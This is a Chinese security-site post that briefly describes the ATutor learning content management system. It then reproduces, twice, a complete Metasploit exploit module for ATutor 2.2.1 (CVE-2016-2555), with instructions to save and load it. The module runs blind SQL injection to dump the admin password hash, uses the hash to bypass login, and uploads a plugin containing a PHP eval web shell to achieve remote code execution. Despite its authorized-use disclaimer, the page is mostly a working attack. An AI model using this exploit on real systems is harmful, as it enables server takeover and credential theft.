神刀安全网

教学内容管理系统ATutor 2.2.1注入漏洞

Atutor是一款开源的“教学内容管理系统”(Learning Content Management System,简称LCMS)。采用PHP、MySQL,HTTP Web 服务器推荐使用Apache。

教学内容管理系统ATutor 2.2.1注入漏洞

Atutor除了教学内容管理的功能,还包括了简化的论坛、聊天室等,另外通过模块安装,还可以扩展功能:

EWiki,ErFurtWiki在Atutor的实现;

ATalker,基于网页的文本朗读工具。

Atutor支持二十多种语言,包括中文,志愿者可以参加翻译等工作。

下面漏洞利用代码基于metasploit平台

使用方法:保存下面的代码,后缀名为.rb,然后放到metasploit脚本目录下,载入即可

以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责。

  以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责     Ruby     require 'msf/core'      class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking         include Msf::Exploit::Remote::HttpClient     include Msf::Exploit::FileDropper         def initialize(info={})       super(update_info(info,         'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',         'Description'    => %q{            This module exploits a SQL Injection vulnerability and an authentication weakness            vulnerability in ATutor. This essentially means an attacker can bypass authenication            and reach the administrators interface where they can upload malcious code.                You are required to login to the target to reach the SQL Injection, however this            can be done as a student account and remote registration is enabled by default.         },         'License'        => MSF_LICENSE,         'Author'         =>           [             'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code           ],         'References'     =>           [             [ 'CVE', '2016-2555'  ],             [ 'URL', 'http://www.atutor.ca/' ] # Official Website           ],         'Privileged'     => false,         'Payload'        =>           {             'DisableNops' => true,           },         'Platform'       => ['php'],         'Arch'           => ARCH_PHP,         'Targets'        => [[ 'Automatic', { }]],         'DisclosureDate' => 'Mar 1 2016',         'DefaultTarget'  => 0))           register_options(         [           OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),           OptString.new('USERNAME', [true, 'The username to authenticate as']),           OptString.new('PASSWORD', [true, 'The password to authenticate with'])         ],self.class)     end        def print_status(msg='')       super("#{peer} - #{msg}")     end        def print_error(msg='')       super("#{peer} - #{msg}")     end        def print_good(msg='')       super("#{peer} - #{msg}")     end        def check      # the only way to test if the target is vuln       begin        test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)       rescue Msf::Exploit::Failed => e         vprint_error(e.message)         return Exploit::CheckCode::Unknown       end          if test_injection(test_cookie)         return Exploit::CheckCode::Vulnerable       else        return Exploit::CheckCode::Safe       end    end        def create_zip_file       zip_file      = Rex::Zip::Archive.new       @header       = Rex::Text.rand_text_alpha_upper(4)       @payload_name = Rex::Text.rand_text_alpha_lower(4)       @plugin_name  = Rex::Text.rand_text_alpha_lower(3)           path = "#{@plugin_name}/#{@payload_name}.php"      register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")           zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")       zip_file.pack     end        def exec_code       send_request_cgi({         'method'   => 'GET',         'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),         'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}/r/n"      })     end        def upload_shell(cookie)       post_data = Rex::MIME::Message.new       post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=/"modulefile/"; filename=/"#{@plugin_name}.zip/"")       post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=/"install_upload/"")       data = post_data.to_s       res = send_request_cgi({         'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),         'method' => 'POST',         'data' => data,         'ctype' => "multipart/form-data; boundary=#{post_data.bound}",         'cookie' => cookie,         'agent' => 'Mozilla'      })           if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")          res = send_request_cgi({            'method' => 'GET',            'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),            'cookie' => cookie,            'agent'  => 'Mozilla',          })          if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")             res = send_request_cgi({               'method' => 'GET',               'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),               'cookie' => cookie,               'agent'  => 'Mozilla',             })          return true         end      end          # auth failed if we land here, bail       fail_with(Failure::Unknown, "Unable to upload php code")       return false    end        def get_hashed_password(token, password, bypass)       if bypass         return Rex::Text.sha1(password + token)       else        return Rex::Text.sha1(Rex::Text.sha1(password) + token)       end    end        def login(username, password, bypass)       res = send_request_cgi({         'method'   => 'GET',         'uri'      => normalize_uri(target_uri.path, "login.php"),         'agent' => 'Mozilla',       })           token = $1 if res.body =~ //) /+ /"(.*)/"/);/       cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/       if bypass         password = get_hashed_password(token, password, true)       else        password = get_hashed_password(token, password, false)       end          res = send_request_cgi({         'method'   => 'POST',         'uri'      => normalize_uri(target_uri.path, "login.php"),         'vars_post' => {           'form_password_hidden' => password,           'form_login' => username,           'submit' => 'Login'        },         'cookie' => cookie,         'agent' => 'Mozilla'      })       cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/           # this is what happens when no state is maintained by the http client       if res && res.code == 302          if res.redirection.to_s.include?('bounce.php?course=0')           res = send_request_cgi({             'method'   => 'GET',             'uri'      => normalize_uri(target_uri.path, res.redirection),             'cookie' => cookie,             'agent' => 'Mozilla'          })           cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/           if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')              res = send_request_cgi({                'method'   => 'GET',                'uri'      => normalize_uri(target_uri.path, res.redirection),                'cookie' => cookie,                'agent' => 'Mozilla'             })              cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/              return cookie             end         else res.redirection.to_s.include?('admin/index.php')             # if we made it here, we are admin             return cookie          end      end          # auth failed if we land here, bail       fail_with(Failure::NoAccess, "Authentication failed with username #{username}")       return nil     end        def perform_request(sqli, cookie)       # the search requires a minimum of 3 chars       sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"      rand_key = Rex::Text.rand_text_alpha(1)       res = send_request_cgi({         'method'   => 'POST',         'uri'      => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),         'vars_post' => {           "search_friends_#{rand_key}" => sqli,           'rand_key' => rand_key,           'search' => 'Search People'        },         'cookie' => cookie,         'agent' => 'Mozilla'      })       return res.body     end         def dump_the_hash(cookie)       extracted_hash = ""      sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"      login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i       for i in 1..login_and_hash_length          sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"         asciival = generate_sql_and_test(false, false, sqli, cookie)          if asciival >= 0             extracted_hash << asciival.chr          end      end      return extracted_hash.split(":")     end        def get_ascii_value(sql, cookie)       lower = 0       upper = 126       while lower < upper         mid = (lower + upper) / 2          sqli = "#{sql}>#{mid}"         result = perform_request(sqli, cookie)          if result =~ /There are /d entries./           lower = mid + 1          else          upper = mid          end      end      if lower > 0 and lower < 126          value = lower      else         sqli = "#{sql}=#{lower}"         result = perform_request(sqli, cookie)          if result =~ /There are /d entries./             value = lower         end      end      return value     end        def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)       if do_test         if do_true           result = perform_request("1=1", cookie)           if result =~ /There are /d entries./             return true          end        else not do_true           result = perform_request("1=2", cookie)           if not result =~ /There are /d entries./             return true          end        end      elsif not do_test and sql         return get_ascii_value(sql, cookie)       end    end        def test_injection(cookie)       if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)          if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)           return true         end      end      return false    end        def report_cred(opts)       service_data = {         address: rhost,         port: rport,         service_name: ssl ? 'https' : 'http',         protocol: 'tcp',         workspace_id: myworkspace_id       }           credential_data = {         module_fullname: fullname,         post_reference_name: self.refname,         private_data: opts[:password],         origin_type: :service,         private_type: :password,         username: opts[:user]       }.merge(service_data)           login_data = {         core: create_credential(credential_data),         status: Metasploit::Model::Login::Status::SUCCESSFUL,         last_attempted_at: Time.now       }.merge(service_data)           create_credential_login(login_data)     end        def exploit       student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)       print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")       report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])           print_status("Dumping username and password hash...")       # we got admin hash now       credz = dump_the_hash(student_cookie)       print_good("Got the #{credz[0]} hash: #{credz[1]} !")       if credz         admin_cookie = login(credz[0], credz[1], true)         print_status("Logged in as #{credz[0]}, uploading shell...")         # install a plugin         if upload_shell(admin_cookie)           print_good("Shell upload successful!")           # boom           exec_code         end      end    end  end  require 'msf/core'      class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking         include Msf::Exploit::Remote::HttpClient     include Msf::Exploit::FileDropper         def initialize(info={})       super(update_info(info,         'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',         'Description'    => %q{            This module exploits a SQL Injection vulnerability and an authentication weakness            vulnerability in ATutor. This essentially means an attacker can bypass authenication            and reach the administrators interface where they can upload malcious code.                You are required to login to the target to reach the SQL Injection, however this            can be done as a student account and remote registration is enabled by default.         },         'License'        => MSF_LICENSE,         'Author'         =>           [             'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code           ],         'References'     =>           [             [ 'CVE', '2016-2555'  ],             [ 'URL', 'http://www.atutor.ca/' ] # Official Website           ],         'Privileged'     => false,         'Payload'        =>           {             'DisableNops' => true,           },         'Platform'       => ['php'],         'Arch'           => ARCH_PHP,         'Targets'        => [[ 'Automatic', { }]],         'DisclosureDate' => 'Mar 1 2016',         'DefaultTarget'  => 0))           register_options(         [           OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),           OptString.new('USERNAME', [true, 'The username to authenticate as']),           OptString.new('PASSWORD', [true, 'The password to authenticate with'])         ],self.class)     end        def print_status(msg='')       super("#{peer} - #{msg}")     end        def print_error(msg='')       super("#{peer} - #{msg}")     end        def print_good(msg='')       super("#{peer} - #{msg}")     end        def check      # the only way to test if the target is vuln       begin        test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)       rescue Msf::Exploit::Failed => e         vprint_error(e.message)         return Exploit::CheckCode::Unknown       end          if test_injection(test_cookie)         return Exploit::CheckCode::Vulnerable       else        return Exploit::CheckCode::Safe       end    end        def create_zip_file       zip_file      = Rex::Zip::Archive.new       @header       = Rex::Text.rand_text_alpha_upper(4)       @payload_name = Rex::Text.rand_text_alpha_lower(4)       @plugin_name  = Rex::Text.rand_text_alpha_lower(3)           path = "#{@plugin_name}/#{@payload_name}.php"      register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")           zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")       zip_file.pack     end        def exec_code       send_request_cgi({         'method'   => 'GET',         'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),         'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}/r/n"      })     end        def upload_shell(cookie)       post_data = Rex::MIME::Message.new       post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=/"modulefile/"; filename=/"#{@plugin_name}.zip/"")       post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=/"install_upload/"")       data = post_data.to_s       res = send_request_cgi({         'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),         'method' => 'POST',         'data' => data,         'ctype' => "multipart/form-data; boundary=#{post_data.bound}",         'cookie' => cookie,         'agent' => 'Mozilla'      })           if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")          res = send_request_cgi({            'method' => 'GET',            'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),            'cookie' => cookie,            'agent'  => 'Mozilla',          })          if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")             res = send_request_cgi({               'method' => 'GET',               'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),               'cookie' => cookie,               'agent'  => 'Mozilla',             })          return true         end      end          # auth failed if we land here, bail       fail_with(Failure::Unknown, "Unable to upload php code")       return false    end        def get_hashed_password(token, password, bypass)       if bypass         return Rex::Text.sha1(password + token)       else        return Rex::Text.sha1(Rex::Text.sha1(password) + token)       end    end        def login(username, password, bypass)       res = send_request_cgi({         'method'   => 'GET',         'uri'      => normalize_uri(target_uri.path, "login.php"),         'agent' => 'Mozilla',       })           token = $1 if res.body =~ //) /+ /"(.*)/"/);/       cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/       if bypass         password = get_hashed_password(token, password, true)       else        password = get_hashed_password(token, password, false)       end          res = send_request_cgi({         'method'   => 'POST',         'uri'      => normalize_uri(target_uri.path, "login.php"),         'vars_post' => {           'form_password_hidden' => password,           'form_login' => username,           'submit' => 'Login'        },         'cookie' => cookie,         'agent' => 'Mozilla'      })       cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/           # this is what happens when no state is maintained by the http client       if res && res.code == 302          if res.redirection.to_s.include?('bounce.php?course=0')           res = send_request_cgi({             'method'   => 'GET',             'uri'      => normalize_uri(target_uri.path, res.redirection),             'cookie' => cookie,             'agent' => 'Mozilla'          })           cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/           if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')              res = send_request_cgi({                'method'   => 'GET',                'uri'      => normalize_uri(target_uri.path, res.redirection),                'cookie' => cookie,                'agent' => 'Mozilla'             })              cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/              return cookie             end         else res.redirection.to_s.include?('admin/index.php')             # if we made it here, we are admin             return cookie          end      end          # auth failed if we land here, bail       fail_with(Failure::NoAccess, "Authentication failed with username #{username}")       return nil     end        def perform_request(sqli, cookie)       # the search requires a minimum of 3 chars       sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"      rand_key = Rex::Text.rand_text_alpha(1)       res = send_request_cgi({         'method'   => 'POST',         'uri'      => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),         'vars_post' => {           "search_friends_#{rand_key}" => sqli,           'rand_key' => rand_key,           'search' => 'Search People'        },         'cookie' => cookie,         'agent' => 'Mozilla'      })       return res.body     end         def dump_the_hash(cookie)       extracted_hash = ""      sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"      login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i       for i in 1..login_and_hash_length          sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"         asciival = generate_sql_and_test(false, false, sqli, cookie)          if asciival >= 0             extracted_hash << asciival.chr          end      end      return extracted_hash.split(":")     end        def get_ascii_value(sql, cookie)       lower = 0       upper = 126       while lower < upper         mid = (lower + upper) / 2          sqli = "#{sql}>#{mid}"         result = perform_request(sqli, cookie)          if result =~ /There are /d entries./           lower = mid + 1          else          upper = mid          end      end      if lower > 0 and lower < 126          value = lower      else         sqli = "#{sql}=#{lower}"         result = perform_request(sqli, cookie)          if result =~ /There are /d entries./             value = lower         end      end      return value     end        def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)       if do_test         if do_true           result = perform_request("1=1", cookie)           if result =~ /There are /d entries./             return true          end        else not do_true           result = perform_request("1=2", cookie)           if not result =~ /There are /d entries./             return true          end        end      elsif not do_test and sql         return get_ascii_value(sql, cookie)       end    end        def test_injection(cookie)       if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)          if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)           return true         end      end      return false    end        def report_cred(opts)       service_data = {         address: rhost,         port: rport,         service_name: ssl ? 'https' : 'http',         protocol: 'tcp',         workspace_id: myworkspace_id       }           credential_data = {         module_fullname: fullname,         post_reference_name: self.refname,         private_data: opts[:password],         origin_type: :service,         private_type: :password,         username: opts[:user]       }.merge(service_data)           login_data = {         core: create_credential(credential_data),         status: Metasploit::Model::Login::Status::SUCCESSFUL,         last_attempted_at: Time.now       }.merge(service_data)           create_credential_login(login_data)     end        def exploit       student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)       print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")       report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])           print_status("Dumping username and password hash...")       # we got admin hash now       credz = dump_the_hash(student_cookie)       print_good("Got the #{credz[0]} hash: #{credz[1]} !")       if credz         admin_cookie = login(credz[0], credz[1], true)         print_status("Logged in as #{credz[0]}, uploading shell...")         # install a plugin         if upload_shell(admin_cookie)           print_good("Shell upload successful!")           # boom           exec_code         end      end    end  end        

【责任编辑:蓝雨泪 TEL:(010)68476606】

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 教学内容管理系统ATutor 2.2.1注入漏洞

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮